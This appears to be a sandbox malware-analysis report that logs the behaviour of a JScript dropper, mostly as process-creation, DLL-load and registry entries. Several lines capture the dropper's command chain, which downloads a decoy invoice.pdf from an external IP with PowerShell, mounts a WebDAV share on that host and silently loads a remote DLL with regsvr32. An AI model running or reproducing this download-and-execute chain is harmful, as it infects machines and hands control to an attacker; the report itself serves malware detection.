File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7388:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vrwzmrzl.qsj.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\959032706323392160.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1700,i,3079690565526618978,4989752131941697140,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1700,i,3079690565526618978,4989752131941697140,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5828.js.csv");ITextStream.WriteLine(" entry:8053 f:pvtkvax");ITextStream.WriteLine(" exec:2 f:pvtkvax");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
